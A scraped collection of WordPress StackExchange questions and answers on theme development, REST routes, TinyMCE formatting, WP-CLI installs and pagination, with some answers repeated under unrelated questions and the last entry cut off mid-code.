[author] => Author\n [comments] => <span class=\"vers comment-grey-bubble\" title=\"Comments\"><span class=\"screen-reader-text\">Comments</span></span>\n [date] => Date\n )\n\n [attachment] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n [author] => Author\n [comments] => <span class=\"vers comment-grey-bubble\" title=\"Comments\"><span class=\"screen-reader-text\">Comments</span></span>\n [date] => Date\n )\n\n [revision] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n [author] => Author\n [date] => Date\n )\n\n [nav_menu_item] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n [date] => Date\n )\n\n [bp-email] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n [situation] => Situations\n [date] => Date\n )\n\n)\n</code></pre>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254038",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/108814/"
]
| I want to get all columns from all post types like this:
```
$postTypes = get_post_types();
$allColumns = array();
foreach($postTypes as $type){
$allColumns[$type] = get_post_type_columns($type);
}
function get_post_type_columns($type){
$columns = array();
//implement
return $columns;
}
```
How to actually get post type columns for a specific post type, regardless of the page context? Where are the columns stored in database actually? Can this be done with a custom WP query?
If you go to any page in WordPress that lists all posts for a post type (e.g. edit.php) you can see all columns listed in screen options. | >
> How to actually get post type columns for a specific post type
>
>
>
All post types should be inside the `wp_posts` table inside your database, if you haven't used the custom prefix.
This table has the following structure.
```
Column Type Comment
ID bigint(20) unsigned Auto Increment
post_author bigint(20) unsigned [0]
post_date datetime [0000-00-00 00:00:00]
post_date_gmt datetime [0000-00-00 00:00:00]
post_content longtext
post_title text
post_excerpt text
post_status varchar(20) [publish]
comment_status varchar(20) [open]
ping_status varchar(20) [open]
post_password varchar(255) []
post_name varchar(200) []
to_ping text
pinged text
post_modified datetime [0000-00-00 00:00:00]
post_modified_gmt datetime [0000-00-00 00:00:00]
post_content_filtered longtext
post_parent bigint(20) unsigned [0]
guid varchar(255) []
menu_order int(11) [0]
post_type varchar(20) [post]
post_mime_type varchar(100) []
comment_count bigint(20) [0]
```
---
If you need more info about the posts types you have on your system refer to the global variable `$wp_post_types`.
This variable is an array holding `WP_Post_Type Object`s, where the first one is like this:
```
[post] => WP_Post_Type Object
(
[name] => post
[label] => Posts
[labels] => stdClass Object
(
[name] => Posts
[singular_name] => Post
[add_new] => Add New
[add_new_item] => Add New Post
[edit_item] => Edit Post
[new_item] => New Post
[view_item] => View Post
[view_items] => View Posts
[search_items] => Search Posts
[not_found] => No posts found.
[not_found_in_trash] => No posts found in Trash.
[parent_item_colon] =>
[all_items] => All Posts
[archives] => Post Archives
[attributes] => Post Attributes
[insert_into_item] => Insert into post
[uploaded_to_this_item] => Uploaded to this post
[featured_image] => Featured Image
[set_featured_image] => Set featured image
[remove_featured_image] => Remove featured image
[use_featured_image] => Use as featured image
[filter_items_list] => Filter posts list
[items_list_navigation] => Posts list navigation
[items_list] => Posts list
[menu_name] => Posts
[name_admin_bar] => Post
)
[description] =>
[public] => 1
[hierarchical] =>
[exclude_from_search] =>
[publicly_queryable] => 1
[show_ui] => 1
[show_in_menu] => 1
[show_in_nav_menus] => 1
[show_in_admin_bar] => 1
[menu_position] => 5
[menu_icon] =>
[capability_type] => post
[map_meta_cap] => 1
[register_meta_box_cb] =>
[taxonomies] => Array
(
)
[has_archive] =>
[query_var] =>
[can_export] => 1
[delete_with_user] => 1
[_builtin] => 1
[_edit_link] => post.php?post=%d
[cap] => stdClass Object
(
[edit_post] => edit_post
[read_post] => read_post
[delete_post] => delete_post
[edit_posts] => edit_posts
[edit_others_posts] => edit_others_posts
[publish_posts] => publish_posts
[read_private_posts] => read_private_posts
[read] => read
[delete_posts] => delete_posts
[delete_private_posts] => delete_private_posts
[delete_published_posts] => delete_published_posts
[delete_others_posts] => delete_others_posts
[edit_private_posts] => edit_private_posts
[edit_published_posts] => edit_published_posts
[create_posts] => edit_posts
)
[rewrite] =>
[show_in_rest] => 1
[rest_base] => posts
[rest_controller_class] => WP_REST_Posts_Controller
)
```
Hope this helps. |
254,043 | <p>Right now, I have a website that is using the Genesis theme. I'm trying to create a child theme, except I don't want to go through all the work of that. At the moment, I've downloaded a normal theme - gridz - and I want to make it a child theme. </p>
<p>What I've tried to do so far is add <strong>Template: genesis</strong> to the bottom of the style.css head as shown below.</p>
<pre><code> /*
Theme Name: Gridz
Theme URI: http://appswp.net/gridz-wordpress-theme/
Author: AppsWP
Author URI: http://www.appswp.net
Description: Pinterest like personal blogging theme powered by jQuery Masonry. Beautiful retina-ready and responsive theme with flexible layout. Tons of options to customize the theme according to your needs
Version: 1.0.5
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Tags: light, white, one-column, two-columns, right-sidebar, left-sidebar, fluid-layout, responsive-layout, custom-colors, custom-background, custom-header, custom-menu, editor-style, featured-images, post-formats, sticky-post, translation-ready, theme-options
Text Domain: gridz
Template: genesis
*/
</code></pre>
<p>When I install the theme, it registers as such. However, when I try to activate the theme, the whole website comes up with an <code>HTTP 500 error</code>.</p>
<p>I feel as though the issue comes in the functions.php, but I don't know where the issue comes in. Now, the functions.php file is over 800 lines long, but I'll show just a single function as it may provide some insight into what's causing this error. </p>
<pre><code> /**
* Filters Title for the Site
*/
function gridz_filter_wp_title($title) {
$site_name = get_bloginfo('name');
if(trim($title) != '') {
$title = str_replace('&raquo;','',$title);
$filtered_title = $title.' | '.$site_name;
} else
$filtered_title = $site_name;
if (is_front_page()) {
$site_description = get_bloginfo('description');
if(trim($site_description) != '')
$filtered_title .= ' | '.$site_description;
}
return $filtered_title;
}
</code></pre>
<p>As another note, there is some code at the top of every page as such:</p>
<pre><code>/**
* @package gridz
*/
</code></pre>
<p>I've tried taking out the code above, but the internal server error still occurs. At the moment, I have no idea as to what I should be doing next. </p>
| [
{
"answer_id": 254047,
"author": "Fabio Marzocca",
"author_id": 65278,
"author_profile": "https://wordpress.stackexchange.com/users/65278",
"pm_score": 3,
"selected": true,
"text": "<p>I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Child_Themes</a></p>\n\n<p>Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme.</p>\n"
},
{
"answer_id": 255895,
"author": "Christina",
"author_id": 64742,
"author_profile": "https://wordpress.stackexchange.com/users/64742",
"pm_score": 0,
"selected": false,
"text": "<p>It looks like you want to use genesis parent framework but use another theme that is not a genesis child theme and make it into a child theme of Genesis. You can't do that. If you have a deep understanding of CSS you can re-style a Genesis child theme to look similar, but you can't use a parent theme as a child of a parent theme.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254043",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111804/"
]
| Right now, I have a website that is using the Genesis theme. I'm trying to create a child theme, except I don't want to go through all the work of that. At the moment, I've downloaded a normal theme - gridz - and I want to make it a child theme.
What I've tried to do so far is add **Template: genesis** to the bottom of the style.css head as shown below.
```
/*
Theme Name: Gridz
Theme URI: http://appswp.net/gridz-wordpress-theme/
Author: AppsWP
Author URI: http://www.appswp.net
Description: Pinterest like personal blogging theme powered by jQuery Masonry. Beautiful retina-ready and responsive theme with flexible layout. Tons of options to customize the theme according to your needs
Version: 1.0.5
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Tags: light, white, one-column, two-columns, right-sidebar, left-sidebar, fluid-layout, responsive-layout, custom-colors, custom-background, custom-header, custom-menu, editor-style, featured-images, post-formats, sticky-post, translation-ready, theme-options
Text Domain: gridz
Template: genesis
*/
```
When I install the theme, it registers as such. However, when I try to activate the theme, the whole website comes up with an `HTTP 500 error`.
I feel as though the issue comes in the functions.php, but I don't know where the issue comes in. Now, the functions.php file is over 800 lines long, but I'll show just a single function as it may provide some insight into what's causing this error.
```
/**
* Filters Title for the Site
*/
function gridz_filter_wp_title($title) {
$site_name = get_bloginfo('name');
if(trim($title) != '') {
$title = str_replace('»','',$title);
$filtered_title = $title.' | '.$site_name;
} else
$filtered_title = $site_name;
if (is_front_page()) {
$site_description = get_bloginfo('description');
if(trim($site_description) != '')
$filtered_title .= ' | '.$site_description;
}
return $filtered_title;
}
```
As another note, there is some code at the top of every page as such:
```
/**
* @package gridz
*/
```
I've tried taking out the code above, but the internal server error still occurs. At the moment, I have no idea as to what I should be doing next. | I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <https://codex.wordpress.org/Child_Themes>
Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme. |
254,072 | <p>I have successfully migrated wordpress site to my localhost using "All-in-One WP Migration" plugin.</p>
<p>But I am getting errors on some pages:</p>
<blockquote>
<p>Parse error: syntax error, unexpected '}' in C:\xampp\apps\wordpress\htdocs\wp-content\themes\XXX\XXXXpage.php on line 112</p>
</blockquote>
<p>editing that file, there is some hard-to-read 'if else' statement wih 'HTML tags' </p>
<p>one error I have fixed was changing</p>
<pre><code><?if (!is_mobile() && !is_tablet()){?>
</code></pre>
<p>to</p>
<pre><code><?php if (!is_mobile() && !is_tablet()){?>
</code></pre>
<p>anybody knows why the first statement worked on my web, but not on localhost? perhaps due to some PHP version?</p>
| [
{
"answer_id": 254047,
"author": "Fabio Marzocca",
"author_id": 65278,
"author_profile": "https://wordpress.stackexchange.com/users/65278",
"pm_score": 3,
"selected": true,
"text": "<p>I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Child_Themes</a></p>\n\n<p>Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme.</p>\n"
},
{
"answer_id": 255895,
"author": "Christina",
"author_id": 64742,
"author_profile": "https://wordpress.stackexchange.com/users/64742",
"pm_score": 0,
"selected": false,
"text": "<p>It looks like you want to use genesis parent framework but use another theme that is not a genesis child theme and make it into a child theme of Genesis. You can't do that. If you have a deep understanding of CSS you can re-style a Genesis child theme to look similar, but you can't use a parent theme as a child of a parent theme.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254072",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111817/"
]
| I have successfully migrated wordpress site to my localhost using "All-in-One WP Migration" plugin.
But I am getting errors on some pages:
>
> Parse error: syntax error, unexpected '}' in C:\xampp\apps\wordpress\htdocs\wp-content\themes\XXX\XXXXpage.php on line 112
>
>
>
editing that file, there is some hard-to-read 'if else' statement wih 'HTML tags'
one error I have fixed was changing
```
<?if (!is_mobile() && !is_tablet()){?>
```
to
```
<?php if (!is_mobile() && !is_tablet()){?>
```
anybody knows why the first statement worked on my web, but not on localhost? perhaps due to some PHP version? | I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <https://codex.wordpress.org/Child_Themes>
Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme. |
254,078 | <p>I have a self hosted WordPress blog and I've just discovered that when clicking on page 2 or "next" with the navigation at the bottom of the main homepage (showing the latest posts) I get a 404.</p>
<p>From what I can work out the URL isn't formed correctly for those buttons. It's doing:</p>
<pre><code>https://example.com/adops/page/2/
</code></pre>
<p>Whereas I think it should be doing this:</p>
<pre><code>https://example.com/adops/index.php/page/2/
</code></pre>
<p>The other questions I can find refer to custom post types that I don't believe I'm using unless something I have installed in terms of a theme or plugin has changed something. I only have a handful of seemingly simple plugins.</p>
<p>.htaccess from the subfolder contain the wordpress install contains:</p>
<pre><code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /adops/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /adops/index.php [L]
</IfModule>
# END WordPress
</code></pre>
| [
{
"answer_id": 254047,
"author": "Fabio Marzocca",
"author_id": 65278,
"author_profile": "https://wordpress.stackexchange.com/users/65278",
"pm_score": 3,
"selected": true,
"text": "<p>I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Child_Themes</a></p>\n\n<p>Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme.</p>\n"
},
{
"answer_id": 255895,
"author": "Christina",
"author_id": 64742,
"author_profile": "https://wordpress.stackexchange.com/users/64742",
"pm_score": 0,
"selected": false,
"text": "<p>It looks like you want to use genesis parent framework but use another theme that is not a genesis child theme and make it into a child theme of Genesis. You can't do that. If you have a deep understanding of CSS you can re-style a Genesis child theme to look similar, but you can't use a parent theme as a child of a parent theme.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254078",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111825/"
]
| I have a self hosted WordPress blog and I've just discovered that when clicking on page 2 or "next" with the navigation at the bottom of the main homepage (showing the latest posts) I get a 404.
From what I can work out the URL isn't formed correctly for those buttons. It's doing:
```
https://example.com/adops/page/2/
```
Whereas I think it should be doing this:
```
https://example.com/adops/index.php/page/2/
```
The other questions I can find refer to custom post types that I don't believe I'm using unless something I have installed in terms of a theme or plugin has changed something. I only have a handful of seemingly simple plugins.
.htaccess from the subfolder contain the wordpress install contains:
```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /adops/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /adops/index.php [L]
</IfModule>
# END WordPress
``` | I don't understand your target. If you want to create a child theme, it is quite easy and strightforward; just follow these simple rules: <https://codex.wordpress.org/Child_Themes>
Nothing to do with functions.php of the main theme which you should NEVER edit if you want to setup an independent child theme. |
254,084 | <p>WordPress' TinyMCE (WYSIWYG) editor is adding inline stlyes to the markup when you change the text alignment. This behaviour is hard coded in <code>wp-includes/class-wp-editor.php</code>.</p>
<p>Can the inline styles be changed to classes instead?</p>
| [
{
"answer_id": 265474,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": false,
"text": "<p><strong>Note</strong> This answer was originally included in <a href=\"https://wordpress.stackexchange.com/users/111830/bitstarr\">@bitstarr</a>'s question above and was included as a separate answer here to comply with WPSE's Q&A model.</p>\n\n<hr>\n\n<p>Maybe someone else will have this issue and so i will share my solution here with you folks.</p>\n\n<pre><code>function make_mce_awesome( $init ) {\n /*\n There are easier things than make 'left/center/right align text' to use classes instead of inline styles\n */\n\n // decode\n $formats = preg_replace( '/(\\w+)\\s{0,1}:/', '\"\\1\":', str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\", \"\\t\"), \"\", $init['formats'] ));\n $formats = json_decode( $formats, true );\n\n // set correct values\n $formats['alignleft'][0]['classes'] = 'text--left';\n $formats['aligncenter'][0]['classes'] = 'text--center';\n $formats['alignright'][0]['classes'] = 'text--right';\n\n // remove inline styles\n unset( $formats['alignleft'][0]['styles'] );\n unset( $formats['aligncenter'][0]['styles'] );\n unset( $formats['alignright'][0]['styles'] );\n\n // encode and replace\n $init['formats'] = json_encode( $formats );\n\n return $init;\n}\nadd_filter( 'tiny_mce_before_init', 'mkae_mce_awesome' );\n</code></pre>\n\n<p>First the settings have to be encoded to make them easy usable in PHP. Then we i add the class names (<code>text--XXX</code>) and remove the parts that cause the inline styling. At the end the array will be converted back.</p>\n\n<p><strong>Bonus:</strong> You can make the editor even more awesome by adding this line.</p>\n\n<pre><code> $init['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4';\n</code></pre>\n\n<p>This will prevent users from using <code><h1></code> headlines - the SEO nightmare…</p>\n\n<p>I hope this will be useful for somebody. Improvements are welcome!</p>\n\n<p>Also see <a href=\"https://wordpress.stackexchange.com/a/141539\">https://wordpress.stackexchange.com/a/141539</a></p>\n"
},
{
"answer_id": 368659,
"author": "Nic Bug",
"author_id": 144969,
"author_profile": "https://wordpress.stackexchange.com/users/144969",
"pm_score": 0,
"selected": false,
"text": "<p>good answer from cjbj but had to double encode it to get a nested array (instead of object) and access the classes/styles entry:</p>\n\n<pre><code>$formats = preg_replace( '/(\\w+)\\s{0,1}:/', '\"\\1\":', str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\", \"\\t\"), \"\", $init_array['formats'] ));\n$formats = json_decode( $formats );\n\n$formats = json_decode(json_encode($formats),true);\n\n// set correct values\n$formats['alignleft'][0]['classes'] = 'text-left';\n$formats['aligncenter'][0]['classes'] = 'text-center';\n$formats['alignright'][0]['classes'] = 'text-right';\n\n// remove inline styles\nunset( $formats['alignleft'][0]['styles'] );\nunset( $formats['aligncenter'][0]['styles'] );\nunset( $formats['alignright'][0]['styles'] );\n\n// encode and replace\n$init_array['formats'] = json_encode( $formats );\n</code></pre>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254084",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111830/"
]
| WordPress' TinyMCE (WYSIWYG) editor is adding inline stlyes to the markup when you change the text alignment. This behaviour is hard coded in `wp-includes/class-wp-editor.php`.
Can the inline styles be changed to classes instead? | **Note** This answer was originally included in [@bitstarr](https://wordpress.stackexchange.com/users/111830/bitstarr)'s question above and was included as a separate answer here to comply with WPSE's Q&A model.
---
Maybe someone else will have this issue and so i will share my solution here with you folks.
```
function make_mce_awesome( $init ) {
/*
There are easier things than make 'left/center/right align text' to use classes instead of inline styles
*/
// decode
$formats = preg_replace( '/(\w+)\s{0,1}:/', '"\1":', str_replace(array("\r\n", "\r", "\n", "\t"), "", $init['formats'] ));
$formats = json_decode( $formats, true );
// set correct values
$formats['alignleft'][0]['classes'] = 'text--left';
$formats['aligncenter'][0]['classes'] = 'text--center';
$formats['alignright'][0]['classes'] = 'text--right';
// remove inline styles
unset( $formats['alignleft'][0]['styles'] );
unset( $formats['aligncenter'][0]['styles'] );
unset( $formats['alignright'][0]['styles'] );
// encode and replace
$init['formats'] = json_encode( $formats );
return $init;
}
add_filter( 'tiny_mce_before_init', 'mkae_mce_awesome' );
```
First the settings have to be encoded to make them easy usable in PHP. Then we i add the class names (`text--XXX`) and remove the parts that cause the inline styling. At the end the array will be converted back.
**Bonus:** You can make the editor even more awesome by adding this line.
```
$init['block_formats'] = 'Paragraph=p;Heading 2=h2;Heading 3=h3;Heading 4=h4';
```
This will prevent users from using `<h1>` headlines - the SEO nightmare…
I hope this will be useful for somebody. Improvements are welcome!
Also see <https://wordpress.stackexchange.com/a/141539> |
254,085 | <p>Is it possible to use <code>register_rest_route()</code> with optional parameters in url?</p>
<p>Let's say route is registered this way:</p>
<pre><code>register_rest_route( 'api', '/animals/(?P<id>\d+)', [
'methods' => WP_REST_Server::READABLE,
'callback' => 'get_animals',
'args' => [
'id'
],
] );
</code></pre>
<p>It's now possible to perform api call on url like <strong>/wp-json/api/animals/15</strong>, but is there a way to declare the param as optional to also catch route like <strong>/wp-json/api/animals/</strong>. </p>
<p>I also tried declaring the route like below, but without success:</p>
<pre><code>/animals/(?P<id>\d+)?
</code></pre>
<p>You can declare another route without the param or utilize GET params, but is there a way to do this already in the <code>register_rest_route()</code> ?</p>
<p>Thanks for your suggestions.</p>
| [
{
"answer_id": 271306,
"author": "jackreichert",
"author_id": 2165,
"author_profile": "https://wordpress.stackexchange.com/users/2165",
"pm_score": 3,
"selected": false,
"text": "<p>There may be a way to do it with one <code>register_rest_route</code> function call, I do not know how to do that and it <em>would</em> be ideal. However, duplicating the <code>register_rest_route</code> function call in the hooked method will do what you want.</p>\n\n<pre><code>register_rest_route( 'api', '/animals/', [\n 'methods' => WP_REST_Server::READABLE,\n 'callback' => 'get_animals'\n] );\n\nregister_rest_route( 'api', '/animals/(?P<id>\\d+)', [\n 'methods' => WP_REST_Server::READABLE,\n 'callback' => 'get_animals',\n 'args' => [\n 'id'\n ],\n] );\n</code></pre>\n\n<p>It the get_animals method you'll want to have conditions that handle each case. One for if the <code>id</code> arg is set, and the fallback checks for <code>$_GET</code> variables.</p>\n"
},
{
"answer_id": 298399,
"author": "Nicola Peluchetti",
"author_id": 13205,
"author_profile": "https://wordpress.stackexchange.com/users/13205",
"pm_score": 6,
"selected": true,
"text": "<p>You should put the named parameters of the route regex into an optional capturing group:</p>\n\n<pre><code>register_rest_route( 'api', '/animals(?:/(?P<id>\\d+))?', [\n 'methods' => WP_REST_Server::READABLE,\n 'callback' => 'get_animals',\n 'args' => [\n 'id'\n ],\n] );\n</code></pre>\n\n<p>The second parameter is simply a regex, thus you can use <a href=\"https://regex101.com/r/6iO5z0/1/\" rel=\"noreferrer\">normal regex logic</a> to make it more complex</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254085",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/47861/"
]
| Is it possible to use `register_rest_route()` with optional parameters in url?
Let's say route is registered this way:
```
register_rest_route( 'api', '/animals/(?P<id>\d+)', [
'methods' => WP_REST_Server::READABLE,
'callback' => 'get_animals',
'args' => [
'id'
],
] );
```
It's now possible to perform api call on url like **/wp-json/api/animals/15**, but is there a way to declare the param as optional to also catch route like **/wp-json/api/animals/**.
I also tried declaring the route like below, but without success:
```
/animals/(?P<id>\d+)?
```
You can declare another route without the param or utilize GET params, but is there a way to do this already in the `register_rest_route()` ?
Thanks for your suggestions. | You should put the named parameters of the route regex into an optional capturing group:
```
register_rest_route( 'api', '/animals(?:/(?P<id>\d+))?', [
'methods' => WP_REST_Server::READABLE,
'callback' => 'get_animals',
'args' => [
'id'
],
] );
```
The second parameter is simply a regex, thus you can use [normal regex logic](https://regex101.com/r/6iO5z0/1/) to make it more complex |
254,094 | <p>I am trying to make installations easier on my Mac using MAMP by using WP-CLI.</p>
<p>I made a simple .sh file:</p>
<pre><code>wp core download
wp core config --dbname=dbname --dbuser=root --dbpass=root
wp db create
wp core install --url="http://localhost:8888/folder" --title="name" --admin_user="admin" --admin_password="password" --admin_email="[email protected]"
</code></pre>
<p>This works fine when I enter it line by line in the terminal, however as soon as I turn it into a .sh file and run it through <code>sh install.sh</code>, it stops as soon as the database is created, but doesn't actually install Wordpress into the database.</p>
<p>What could cause this? This is the wp --info output:</p>
<pre><code>PHP binary: /Applications/MAMP/bin/php/php7.1.0/bin/php
PHP version: 7.1.0
php.ini used: /Applications/MAMP/bin/php/php7.1.0/conf/php.ini
WP-CLI root dir: phar://wp-cli.phar
WP-CLI packages dir:
WP-CLI global config:
WP-CLI project config:
WP-CLI version: 1.0.0
</code></pre>
| [
{
"answer_id": 254285,
"author": "user42826",
"author_id": 42826,
"author_profile": "https://wordpress.stackexchange.com/users/42826",
"pm_score": 1,
"selected": false,
"text": "<p>The reason is because the cron script's environment has minimal configuration. When you as a user log into your system, additional environment variable are set which allow you to execute programs without explicitly defining the full path.</p>\n\n<p>The best way to fix this is to define the full path to your program(s) in your cron script. This is generally best practice even for system calls. For example if your wp resides in /usr/local/bin, modify your cron script:</p>\n\n<pre><code>/usr/local/bin/wp core download\n/usr/local/bin/wp core config --dbname=dbname --dbuser=root --dbpass=root\n/usr/local/bin/wp db create\n/usr/local/bin/wp core install --url=\"http://localhost:8888/folder\" --title=\"name\" -- admin_user=\"admin\" --admin_password=\"password\" --admin_email=\"[email protected]\"\n</code></pre>\n"
},
{
"answer_id": 261695,
"author": "Aman Bansal",
"author_id": 116442,
"author_profile": "https://wordpress.stackexchange.com/users/116442",
"pm_score": -1,
"selected": false,
"text": "<p>I have created a bash script to install wordpress.</p>\n\n<p>This script will automate the following:</p>\n\n<p>Downlaod and install Wordpress automatically\nCreate Default Users with passwords\nInstall all default plugins\nInstall the default or custom theme by zip url you mostly used.\nYou can find script on github.com</p>\n\n<p><a href=\"https://github.com/jeoga/wordpress_install_bash_script\" rel=\"nofollow noreferrer\">https://github.com/jeoga/wordpress_install_bash_script</a></p>\n"
},
{
"answer_id": 349001,
"author": "Jules",
"author_id": 5986,
"author_profile": "https://wordpress.stackexchange.com/users/5986",
"pm_score": 0,
"selected": false,
"text": "<p>I had a similar problem using WSL. The problem was that I had created the .sh script under Windows, so it had Windows style line ending (CR LF) instead of just LF.</p>\n\n<p>Changing the line endings to LF fixed it for me.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/48745/"
]
| I am trying to make installations easier on my Mac using MAMP by using WP-CLI.
I made a simple .sh file:
```
wp core download
wp core config --dbname=dbname --dbuser=root --dbpass=root
wp db create
wp core install --url="http://localhost:8888/folder" --title="name" --admin_user="admin" --admin_password="password" --admin_email="[email protected]"
```
This works fine when I enter it line by line in the terminal, however as soon as I turn it into a .sh file and run it through `sh install.sh`, it stops as soon as the database is created, but doesn't actually install Wordpress into the database.
What could cause this? This is the wp --info output:
```
PHP binary: /Applications/MAMP/bin/php/php7.1.0/bin/php
PHP version: 7.1.0
php.ini used: /Applications/MAMP/bin/php/php7.1.0/conf/php.ini
WP-CLI root dir: phar://wp-cli.phar
WP-CLI packages dir:
WP-CLI global config:
WP-CLI project config:
WP-CLI version: 1.0.0
``` | The reason is because the cron script's environment has minimal configuration. When you as a user log into your system, additional environment variable are set which allow you to execute programs without explicitly defining the full path.
The best way to fix this is to define the full path to your program(s) in your cron script. This is generally best practice even for system calls. For example if your wp resides in /usr/local/bin, modify your cron script:
```
/usr/local/bin/wp core download
/usr/local/bin/wp core config --dbname=dbname --dbuser=root --dbpass=root
/usr/local/bin/wp db create
/usr/local/bin/wp core install --url="http://localhost:8888/folder" --title="name" -- admin_user="admin" --admin_password="password" --admin_email="[email protected]"
``` |
254,108 | <p>I'm trying to build my first custom theme by watching some tutorials and tips. </p>
<p>So I have the index, custom pages, and I tried to make the "archive" page and it redirects to my index. The file "archive.php" is there, and in the Reading Settings I requested that the "Blog" page (created in the Pages menu) receive the posts.</p>
<p>How to proceed?</p>
<p><a href="https://i.stack.imgur.com/8Jlsr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8Jlsr.png" alt="enter image description here"></a>
<a href="https://i.stack.imgur.com/cZoxl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cZoxl.png" alt="enter image description here"></a></p>
<p><strong>archive.php</strong></p>
<pre><code><?php get_header(); ?>
<section id="content">
Testing 123
</section>
<?php get_footer(); ?>
</code></pre>
| [
{
"answer_id": 254111,
"author": "Al Rosado",
"author_id": 84237,
"author_profile": "https://wordpress.stackexchange.com/users/84237",
"pm_score": 0,
"selected": false,
"text": "<p>You should use home.php file instead of index.php, this is the <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">Wp template hierarchy structure</a></p>\n\n<p>UPDATE:</p>\n\n<p>Your archive file should be like this:</p>\n\n<pre><code><?php get_header(); ?>\n<?php while ( have_posts() ) : the_post(); ?>\n\n <article class=\"<?php post_class(); ?>\">\n <h1><?php the_title(); ?></h1>\n <div class=\"post-content\">\n <?php the_content(); ?>\n </div>\n <a href=\"<?php the_permalink(); ?>\">Read more</a>\n </article>\n<?php endwhile; // end of the loop. ?>\n<?php get_footer(); ?>\n</code></pre>\n"
},
{
"answer_id": 254155,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<p>If you're using a static page as your front page (as shown in your first image), then neither archive.php or home.php will work. The page hierarchy for static home pages is:</p>\n\n<ol>\n<li>Page Template </li>\n<li>page-{slug}.php</li>\n<li>page-{id}.php</li>\n<li>page.php</li>\n<li>index.php</li>\n</ol>\n\n<p>If you want to show an archive on your front page, select 'your latest posts', then home.php will work.</p>\n\n<p>In either case, front-page.php will be the first in the hierarchy.</p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254108",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111843/"
]
| I'm trying to build my first custom theme by watching some tutorials and tips.
So I have the index, custom pages, and I tried to make the "archive" page and it redirects to my index. The file "archive.php" is there, and in the Reading Settings I requested that the "Blog" page (created in the Pages menu) receive the posts.
How to proceed?
[](https://i.stack.imgur.com/8Jlsr.png)
[](https://i.stack.imgur.com/cZoxl.png)
**archive.php**
```
<?php get_header(); ?>
<section id="content">
Testing 123
</section>
<?php get_footer(); ?>
``` | If you're using a static page as your front page (as shown in your first image), then neither archive.php or home.php will work. The page hierarchy for static home pages is:
1. Page Template
2. page-{slug}.php
3. page-{id}.php
4. page.php
5. index.php
If you want to show an archive on your front page, select 'your latest posts', then home.php will work.
In either case, front-page.php will be the first in the hierarchy. |
254,121 | <p>A shortcode from a plugin I am trying to use is not working on my static front page, it only shows as plain shortcode text but It works well on all of my other pages. </p>
<p>I'm using Illdy theme, I've already asked about this issue on their forum but I have a feeling that the issue is in my <code>front-page.php</code> file. Is there anything missing or extra in my <code>front-page.php</code> file that is preventing the shortcode from working?</p>
<p><strong>UPDATE</strong>: in front-page.php, I changed get_the_content() to the_content() and I fixed my issue. Is this a good fix? Can I feel comfortable in making this change?</p>
<p>Here's my front-page.php:</p>
<pre><code><?php
/**
* The template for displaying the front page.
*
* @package WordPress
* @subpackage illdy
*/
get_header();
if( get_option( 'show_on_front' ) == 'posts' ): ?>
<div class="container">
<div class="row">
<div class="col-sm-7">
<section id="blog">
<?php do_action( 'illdy_above_content_after_header' ); ?>
<?php
